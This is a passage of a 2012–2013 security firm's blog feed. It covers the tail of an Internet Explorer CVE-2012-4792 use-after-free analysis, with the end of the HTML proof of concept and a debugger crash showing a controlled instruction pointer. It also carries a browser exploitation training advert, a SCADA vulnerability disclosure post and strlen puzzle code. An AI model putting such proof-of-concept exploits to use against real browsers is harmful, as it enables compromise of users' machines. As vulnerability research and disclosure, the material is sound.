&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
	&lt;t:ANIMATECOLOR id="myanim"/&gt;
	&lt;div id="divelm"&gt;&lt;/div&gt;
	&lt;form id="formelm"&gt;
	&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p></code><a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/cve-2012-4792-clean/" rel="attachment wp-att-767">Download the POC here.</a><br />
Running this results in:<br />
<code class="windbg">
<pre>
(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028&gt; dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028&gt; dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.&lt;..!..K#.p
1:028&gt; dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.
</pre>
<p></code><br />
<a name="Conclusion"></a><br />
From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that. </p>
<h2>Conclusion</h2>
<p>This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn't require heapspray, but all in all this bug can be exploited quite reliably.<br />
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a <a href="http://blog.exodusintel.com/2012/12/17/exodus-intelligence-2013-training-courses/" target="_blank">look at our training</a>, which will focus on IE9.<br />
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at <a href="mailto:info@exodusintel.com">info@exodusintel.com</a>.</p>
<p>- Peter Vreugdenhil<br />
Exodus Intelligence</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/718/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/718/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=718&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2013/01/analysis-1.jpg?w=300" medium="image">
			<media:title type="html">Analysis-1</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2013/01/analysis-2.jpg?w=300" medium="image">
			<media:title type="html">Analysis-2</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2013/01/analysis-3.jpg?w=300" medium="image">
			<media:title type="html">Analysis-3</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2013/01/analysis-4.jpg?w=300" medium="image">
			<media:title type="html">Analysis-4</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2013/01/analysis-5.jpg?w=300" medium="image">
			<media:title type="html">Analysis-5</media:title>
		</media:content>
	</item>
		<item>
		<title>Exodus Intelligence 2013 Training Courses</title>
		<link>http://blog.exodusintel.com/2012/12/17/exodus-intelligence-2013-training-courses/</link>
		<comments>http://blog.exodusintel.com/2012/12/17/exodus-intelligence-2013-training-courses/#comments</comments>
		<pubDate>Mon, 17 Dec 2012 16:52:34 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[bughunting]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[training]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=634</guid>
		<description><![CDATA[Thoughts of winning Pwn2Own&#8211;or just have the urge to thoroughly bend browsers to your will? Come learn the tricks of the trade firsthand from a former Pwn2Own winner himself! Peter Vreugdenhil and Brandon Edwards will be teaching their brand-new, never before seen Browser Exploitation class in which they will be dropping all sorts of tricks [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=634&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Thoughts of winning Pwn2Own&#8211;or just have the urge to thoroughly bend browsers to your will? Come learn the tricks of the trade firsthand from a former Pwn2Own winner himself! <strong>Peter Vreugdenhil</strong> and <strong>Brandon Edwards</strong> will be teaching their brand-new, never before seen <strong>Browser Exploitation</strong> class in which they will be dropping all sorts of tricks amassed from many virtual years browsing the web in their own special way (including new ways to force memory disclosure to bypass ASLR). In order to deliver the most up-to-date material for such a course, the instructors will walk through the process of (reliably) exploiting an IE vulnerability patched my Microsoft within the last 3 months.</p>
<p>We will also have <strong>Aaron Portnoy</strong> and <strong>Zef Cekaj</strong>, who have spent the last year contemplating the art that is reverse engineering and synthesizing what differentiates the successful vulnerability hunters from the bit flippers. They are excited to be giving their new <strong>Breaking Binary Applications</strong> class, covering browser plugins (and memory disclosure), enterprise server-side software (expect at least one un-patched remote Microsoft Exchange bug), the hilarity that is SCADA (or: how to get <a href="http://it.slashdot.org/story/12/11/26/2114214/researcher-finds-nearly-two-dozen-scada-bugs-in-a-few-hours">Slashdot&#8217;ed</a> with only 6 hours of work), and more. Learn their field-tested techniques to discover 0-day and their processes for popping the elusive calculator. </p>
<p>Students will be required to take a blood oath swearing their agreement to be bound by the Exodus FrieNDA and not discuss the (currently) unpatched vulnerabilities we&#8217;ll be exploiting during the two courses.</p>
<p>&#8230;OK, maybe the blood oath was going a bit far, but seriously: <em>no snitches</em> (show some sympathy at least, these bugs are on death row).</p>
<p>The training classes will be hosted at the Exodus Intelligence office in sunny <a href="http://www.austintexas.org">Austin, Texas</a> during the week of <strong>February 18th</strong>. The benefit of hosting it at our office is that you&#8217;ll be able to interact with the whole Exodus team as well as enjoy a week of training followed by an authentic Texas BBQ party at a popular downtown bar hosted by our resident grillmaster Logan Brown (you may remember his name from the <a href="http://dvlabs.tippingpoint.com/blog/2011/09/28/texas-vs-argentina">Ekoparty Texas vs Argentinian BBQ competition</a> last year). <a href="http://www.lonestarbeer.com/images/tripple_bottles.png">Drinks</a> and <a href="http://www.rudysbbq.com/store/images/Product/large/63.png">food</a> will be included, of course.</p>
<hr />
<h2>Abstracts</h2>
<h3><strong>Breaking Binary Applications</strong></h3>
<p><em><strong>Aaron Portnoy and Zef Cekaj</strong></em></p>
<p><em>Prerequisites:</em></p>
<ul>
<li><a href="http://www.hex-rays.com/products/ida/index.shtml">IDA Pro</a> at least version 6.1 with a working IDAPython and <a href="http://www.hexblog.com/?p=333">PySide</a> built by Hex-Rays on Windows (virtualized is acceptable)</li>
<li>The ability to run VMware virtual machines (<a href="http://www.vmware.com/products/player/">player</a> or <a href="http://www.vmware.com/products/workstation/overview.html">workstation</a> will work)</li>
<li>A working install of the <a href="https://github.com/aaronportnoy/toolbag">IDA Toolbag</a> plugin for IDA Pro</li>
<li>A working knowledge of the <a href="http://python.org/">Python</a> programming language</li>
</ul>
<p>
This three day training is an extremely hands-on course intended to give the attendees realistic experience auditing closed-source applications for the purposes of vulnerability discovery and exploitation. We will cover the crucial methodologies we&#8217;ve used over the years to unearth flaws in server-side, client-side, SCADA products, browser plugins, media players, mail clients, and more. </p>
<p>The first day will be devoted to building the students&#8217; arsenal of tools and techniques to enumerate software&#8217;s attack surface, determining where weak points that should be targeted exist, peeking under the hood to gain in-depth knowledge about how the software operates, and ultimately preparing to break it. Day one will also cover specific tools that can greatly improve the efficiency of a bug hunter. Most notably, we will cover our IDA Toolbag plugin and  demonstrate how, through the power of IDAPython, a reverse engineer can automate many of the more tedious aspects of the bug hunting process.</p>
<p>The following two days will be entirely devoted to applying the aforementioned techniques against products that the Exodus team has found critical vulnerabilities in. Each target has been specifically chosen to impart upon the student a unique lesson about the bug hunting process. </p>
<p>If time permits we will walk the class through exploitation of one or more of the bugs they discovered. This will, of course, cover bypassing any of the exploitation mitigations that are present.</p>
<hr />
<h3><strong>Browser Exploitation</strong></h3>
<p><em><strong>Peter Vreugdenhil and Brandon Edwards</strong></em></p>
<p><em>Prerequisites:</em></p>
<ul>
<li><a href="http://www.hex-rays.com/products/ida/index.shtml">IDA Pro</a> at least version 6.1 with a working IDAPython and <a href="http://www.hexblog.com/?p=333">PySide</a> built by Hex-Rays on Windows (virtualized is acceptable)</li>
<li>The ability to run VMware virtual machines (<a href="http://www.vmware.com/products/player/">player</a> or <a href="http://www.vmware.com/products/workstation/overview.html">workstation</a> will work)</li>
<li>A working install of the <a href="https://github.com/aaronportnoy/toolbag">IDA Toolbag</a> plugin for IDA Pro</li>
<li>A working knowledge of the <a href="http://python.org/">Python</a> programming language</li>
</ul>
<p>
This two day class, taught by a former Pwn2Own winner and pioneer in the art of client-side vulnerability development, is a highly interactive, hands-on training delving into the intricacies of browser exploitation. This course starts by introducing the methods used to uncover some of the most impactful recent browser vulnerabilities, and then quickly moves into the processes of in-depth analysis and vulnerability comprehension, revealing the tools and techniques used by the Exodus team to transform crashes into reliable exploits, bypassing modern protections such as DEP and ASLR along the way.</p>
<p>Students will develop a working familiarity with the concepts presented through hands-on exercises, applying the course material to exploit modern vulnerabilities such as <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-063">MS012-063</a>. This course focuses on Internet Explorer, but students will leave equipped with a foundation of knowledge and insight applicable to exploiting any modern browser.</p>
<hr />
<h2>Schedule and Pricing</h2>
<p><em>A limited number of student and group discounts are available. Please e-mail us at <a href="mailto:info@exodusintel.com">info@exodusintel.com</a> for more information.</em></p>
<p><a href="http://www.exodusintel.com/files/training_binary_2013.pdf">Breaking Binary Applications</a>: <em>February 18th-20th (3 days) &#8211; <strong>$3000 USD</strong></em><br />
<a href="http://www.exodusintel.com/files/training_browser_2013.pdf">Browser Exploitation</a>: <em>February 21st and 22nd (2 days) &#8211; <strong>$2000 USD</strong></em><br />
<br />
You may register on the Exodus website at: <a><a href="http://www.exodusintel.com/#2013" rel="nofollow">http://www.exodusintel.com/#2013</a></a>.</p>
<hr />
<h2>Testimonials</h2>
<p>Via E-Mail:<br />
<code><br />
<em>"I just wanted to take a moment to let you know that I thought the training you gave over the past three days was wonderful. I believe I learnt a lot from both of you, and truly appreciate the effort that you guys put in preparing the materials, finding the teaching targets, doing up the exploits beforehand, and everything else. I know for sure that there must have been much, much more that transpired behind the scene that you guys did that we, who simply sat there and enjoyed the fruits of your labour, would definitely be oblivious to :P So, thanks a bunch for that! It's truly appreciated!</p>
<p>I thought the best part of the training was two-fold: First, in just seeing how you do things, both in terms of the little "demo" reversing you gave, as well as in terms of the way you describe your approach and thought processes, not out-rightly but subtly, perhaps even unconsciously, that gave a tremendous insight into what I and my team don't do well, or can improve on. Those little nuggets of information obviously came from loads of experience, and it's something that I really value, and will be taking home :) The second bit is the part about automating reversing. To be honest I never really thought that reversing could be made so much quicker and easier, and most importantly, more precise ("cheating", you called it :P). Your sharing about automation techniques opened up a whole new dimension -- to think about, and to get started on."</em><br />
</code></p>
<hr />
<code><br />
<em>"The training was great! This was my first training at any security conference and I think was lucky to attend the best one! I wish this was for 5 days :)"</em><br />
</code></p>
<hr />
<code><br />
<em>"I thought the class last week was great. It was my favorite part of the Pwn2Own week and out of all the other trainings I’ve been to, your training was the best and most useful I’ve attended. Some other student’s I talked to were at times overwhelmed by the rapid fire delivery of the course material. Personally, I liked the fast paced nature of the class because it kept me actively interested and engaged. The “real world” nature of the exercises also made them more fun to do."</em><br />
</code></p>
<hr />
<p>Via Twitter:<br />
<br />
<code><em>"Great first day of Bug Hunting with @aaronportnoy and Zef. Eyes open farther; hope I can sleep!"</em></code></p>
<p><code><em>"Just attended "Bug Hunting and Analysis 0x65" by @aaronportnoy and @the_navs. If you want to discover Windows 0days, take this class."</em></code></p>
<p><code><em>"Epic day one of bug hunting. Great material and instruction. Looking forward to day two. @aaronportnoy"</em></code></p>
<p><code><em>"@aaronportnoy Today was an intense training day. The concepts and techniques are growing on me as time is passing by. You and Zef are great."</em><br />
</em></code></p>
<hr />
<h2>Contact</h2>
<p>
You can always e-mail <a href="mailto:info@exodusintel.com">info@exodusintel.com</a> for any inquiries regarding our training classes or vulnerability intelligence feed offerings.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/634/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/634/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=634&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/12/17/exodus-intelligence-2013-training-courses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
		<item>
		<title>What does a flightless bird and SCADA software have in common?</title>
		<link>http://blog.exodusintel.com/2012/11/25/what-does-a-flightless-bird-and-scada-software-have-in-common/</link>
		<comments>http://blog.exodusintel.com/2012/11/25/what-does-a-flightless-bird-and-scada-software-have-in-common/#comments</comments>
		<pubDate>Sun, 25 Nov 2012 21:12:32 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=376</guid>
		<description><![CDATA[They&#8217;re both easy targets. If you&#8217;ve been paying attention to the security industry for any length of time then you&#8217;re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=376&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><em>They&#8217;re both easy targets.</em></p>
<p>If you&#8217;ve been paying attention to the security industry for any length of time then you&#8217;re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.</p>
<p>When I read that a new company out of <del datetime="2012-11-26T15:56:49+00:00">Italy</del> Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.</p>
<p>Here is some of the press coverage they received:</p>
<p><a href="www.cio.com/article/722039/Security_Firm_Showcases_Vulnerabilities_in_SCADA_Software_Won_39_t_Report_Them_to_Vendors" title="Security Firm Showcases Vulnerabilities in SCADA Software, Won't Report Them to Vendors" target="_blank">Security Firm Showcases Vulnerabilities in SCADA Software, Won&#8217;t Report Them to Vendors</a></p>
<p><a href="http://www.h-online.com/security/news/item/ReVuln-claims-0day-vulnerabilities-for-SCADA-systems-1755037.html" title="ReVuln claims 0day vulnerabilities for SCADA systems" target="_blank">ReVuln claims 0day vulnerabilities for SCADA systems</a></p>
<p><a href="http://news.softpedia.com/news/Security-Firm-ReVuln-Showcases-SCADA-Zero-Days-Video-308988.shtml" title="Security Firm ReVuln Showcases SCADA Zero-Days – Video" target="_blank">Security Firm ReVuln Showcases SCADA Zero-Days</a></p>
<p><a href="http://news.techworld.com/applications/3412614/revuln-showcases-vulnerabilities-in-scada-software-but-wont-report-them-vendors" title="ReVuln showcases vulnerabilities in SCADA software, but won't report them to vendors" target="_blank">ReVuln showcases vulnerabilities in SCADA software, but won&#8217;t report them to vendors</a></p>
<p><a href="http://www.theregister.co.uk/2012/11/23/scada_vulns" title="Exploit broker releases EXPLICIT VIDS of holes in industrial control kit" target="_blank">Exploit broker releases EXPLICIT VIDS of holes in industrial control kit</a></p>
<p>As ReVuln founder Luigi Auriemma is quoted as saying:</p>
<blockquote><p>&#8220;ICS-CERT has just contacted us some minutes ago requesting more details but we don&#8217;t release information,&#8221; “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.&#8221;</p></blockquote>
<p>For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the <a href="http://en.wikipedia.org/wiki/SCADA" title="wikipedia SCADA" target="_blank">wikipedia page</a> for more info). While these may not be defined as &#8220;Internet infrastructure&#8221;, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).</p>
<p>On Thanksgiving day I had a morning&#8217;s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to <a href="http://www.us-cert.gov/control_systems/ics-cert/" title="ICS-CERT" target="_blank">ICS-CERT</a>, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.</p>
<p>Here&#8217;s a list of the vendors and types of vulnerabilities I found (23 in all):</p>
<blockquote><p>
<strong>Rockwell Automation</strong></p>
<ul>
<li>1 remote code execution vulnerability</li>
<li>1 denial of service vulnerabilty</li>
<li>discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws</li>
</ul>
<p><strong>Schneider Electric</strong></p>
<ul>
<li>3 remote code execution vulnerabilities</li>
<li>1 denial of service vulnerability</li>
</ul>
<p><strong>Indusoft</strong></p>
<ul>
<li>1 denial of service vulnerability</li>
</ul>
<p><strong>RealFlex</strong></p>
<ul>
<li>8 denial of service vulnerabilities</li>
</ul>
<p><strong>Eaton Corporation</strong></p>
<ul>
<li>3 remote code execution vulnerabilities</li>
<li>2 denial of service vulnerabilities</li>
<li>1 arbitrary file download vulnerability</li>
<li>1 arbitrary file deletion vulnerability</li>
<li>1 arbitrary file upload/overwrite vulnerability</li>
</ul>
</blockquote>
<p>The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial. </p>
<p>All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.</p>
<p>Now, I realize I haven&#8217;t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.</p>
<p>Happy Thanksgiving.</p>
<p>&#8211;<br />
Aaron<br />
<a href="http://twitter.com/aaronportnoy" title="@aaronportnoy">@aaronportnoy</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/376/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/376/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=376&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2012/11/25/what-does-a-flightless-bird-and-scada-software-have-in-common/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
		<item>
		<title>Reversing the Interview Process</title>
		<link>http://blog.exodusintel.com/2012/09/18/reversing-the-interview-process/</link>
		<comments>http://blog.exodusintel.com/2012/09/18/reversing-the-interview-process/#comments</comments>
		<pubDate>Tue, 18 Sep 2012 18:27:55 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=335</guid>
		<description><![CDATA[As you may know, we recently brought Rolf Rolles on board the team here at Exodus. We all met at our Austin office and Rolf spent a week working alongside us. Our interview process doesn&#8217;t consist of contrived questions intended to observe the interviewee&#8217;s capacity for mental acrobatics. Traditionally, when we bring someone in for [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=335&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>As you may know, we recently brought <a href="http://twitter.com/RolfRolles">Rolf Rolles</a> on board the team here at Exodus. We all met at our Austin office and Rolf spent a week working alongside us. Our interview process doesn&#8217;t consist of contrived questions intended to observe the interviewee&#8217;s capacity for mental acrobatics. Traditionally, when we bring someone in for consideration we are already familiar with their past work and skillset. What we are more interested in is evaluating their capacity to work as part of our team. So, Rolf spent his time auditing code and writing some instrumentation tools for some of the problems we were facing at the time. It went very well, and we&#8217;re thrilled that he decided to join us.</p>
<p>One night during that week we were chatting with Rolf about random programming problems and he recalled the story of a past interview whereby he was asked to implement a strlen() function in C that, when compiled, would not contain any conditional branches. He didn&#8217;t pose the problem as a challenge but Brandon, Zef, and I all found it intriguing and took a shot at solving it. Leave it to Rolf Rolles to reverse the interview process itself&#8230;</p>
<p><b>Spoiler alert</b>: what follows are our independently created solutions.</p>
<p></p>
<hr />
<h3><a href="http://www.twitter.com/drraid">Brandon&#8217;s</a> Solution:</h3>
<p><code><br />
#include&nbsp;&lt;stdio.h&gt;<br />
#define&nbsp;f(b)&nbsp;((-b)&gt;&gt;31)&amp;1<br />
typedef&nbsp;unsigned&nbsp;int&nbsp;(*funcptr)(unsigned&nbsp;int&nbsp;x);<br />
funcptr&nbsp;functable[2];<br />
unsigned&nbsp;char&nbsp;*p;<br />
unsigned&nbsp;int&nbsp;done(unsigned&nbsp;int&nbsp;x)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;x;<br />
}<br />
unsigned&nbsp;int&nbsp;counter(unsigned&nbsp;int&nbsp;x)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return(functable[f(*(p+x+1))](x+1));<br />
}<br />
int&nbsp;&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])<br />
&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;int&nbsp;len;<br />
&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;(unsigned&nbsp;char&nbsp;*)argv[argc-1];<br />
&nbsp;&nbsp;&nbsp;&nbsp;functable[0]&nbsp;=&nbsp;(funcptr)&amp;done;<br />
&nbsp;&nbsp;&nbsp;&nbsp;functable[1]&nbsp;=&nbsp;counter;<br />
&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;functable[f(*p)](0);<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf("len&nbsp;is&nbsp;%u\n",&nbsp;len);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<br />
}<br />
</code></p>
<hr />
<h3><a href="http://www.twitter.com/the_navs">Zef&#8217;s</a> Solution:</h3>
<p><code><br />
/*<br />
 *<br />
 * strlen without conditional branch<br />
 * compiles with -Wall -ansi<br />
 */</p>
<p>#include&nbsp;&lt;stdio.h&gt;</p>
<p>int _gtfo(char *s);<br />
int _str_len(char *s);<br />
int (*f[])(char *s) = {_gtfo, _str_len};</p>
<p>int  _gtfo(char *s)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;return -1; /* set to '0' to include trailing null */<br />
}</p>
<p>int _str_len(char *s){<br />
&nbsp;&nbsp;&nbsp;&nbsp;char c = *s;<br />
&nbsp;&nbsp;&nbsp;&nbsp;return f[((c &amp; 0x01))|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x02) &gt;&gt; 1)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x04) &gt;&gt; 2)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x08) &gt;&gt; 3)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x10) &gt;&gt; 4)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x20) &gt;&gt; 5)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x40) &gt;&gt; 6)|<br />
&nbsp;&nbsp;&nbsp;&nbsp;((c &amp; 0x80) &gt;&gt; 7)](++s) +1 ;</p>
<p>}</p>
<p>int main(int argc, char *argv[])<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(argc &gt; 1 ) printf("strlen(\"%s\") = %d\n", argv[1], _str_len(argv[1]));<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
</code></p>
<p>Zef&#8217;s description:</p>
<p>&#8220;So, my immediate thought was to use function pointers to &#8216;conditionally&#8217; execute code without a conditional branch. There are two possible states for each member of a string when performing a &#8216;strlen&#8217;-type operation. &#8216;Terminator&#8217; and &#8216;Not Terminator&#8217;. In this case the &#8216;Terminator&#8217; for a C-string is &#8216;NULL&#8217; (0&#215;00). This of course is the only value with 0 bits set; by masking each bit in the 8 bit value and shifting to the lsb then combining the values with a &#8216;|&#8217; operation, a binary state is created allowing for the indepedent execution of the two defined states &#8216;Terminator&#8217; and &#8216;Not Terminator&#8217;&#8221;.</p>
<hr />
<h3><a href="http://www.twitter.com/aaronportnoy">Aaron&#8217;s</a> Solution:</h3>
<p>As I admittedly suck at C, I approached the problem in straight assembly (I know, that&#8217;s cheating. And yes, this could be achieved with a <i>rep scasb</i>, but that&#8217;s just too easy). However, I was able to solve the problem in 27 bytes:</p>
<p><code><br />
[BITS 32]</p>
<p>section .text</p>
<p>global _start</p>
<p>_start:<br />
&nbsp;&nbsp;&nbsp;&nbsp;pop eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;pop eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;xor eax, eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;xor ebx, ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;pop esi</p>
<p>_continue:<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov al, [esi]<br />
&nbsp;&nbsp;&nbsp;&nbsp;add al, 0xFF<br />
&nbsp;&nbsp;&nbsp;&nbsp;salc<br />
&nbsp;&nbsp;&nbsp;&nbsp;inc al<br />
&nbsp;&nbsp;&nbsp;&nbsp;lea ecx, [0x8048097+eax*4]<br />
&nbsp;&nbsp;&nbsp;&nbsp;jmp ecx<br />
inc ebx<br />
inc esi<br />
jmp _continue<br />
int 0x80<br />
</code></p>
<p>The three pops that occur within _start are to get access to argv[1] (the string to be measured, provided on the command line). The last <i>pop esi</i> puts a pointer to the string into the esi register.</p>
<p>The <i>mov al, [esi]</i> grabs a single byte off the string. Then, the <i>add al, 0xFF</i> is used to determine whether the byte is NULL or not. If the value is non-NULL, the add to the 8-bit register al will set the Carry flag. If it is NULL, it will <b>not</b> set the CF. </p>
<p>The next instruction is actually considered <a href="http://www.rcollins.org/secrets/opcodes/SALC.html">undocumented</a> (even objdump shows the mnemonic as &#8216;bad&#8217;). What the <i>salc</i> instruction does is sets the al register to 0xFF if the Carry flag is set, otherwise it sets it to 0&#215;00. This is the method I used to implement a binary state to determine if the character is NULL or not. </p>
<p>The <i>inc al</i> instruction then increments al, which was either 0xFF or 0&#215;00. After the <i>inc</i> it will either be 0&#215;00 or 0&#215;01. </p>
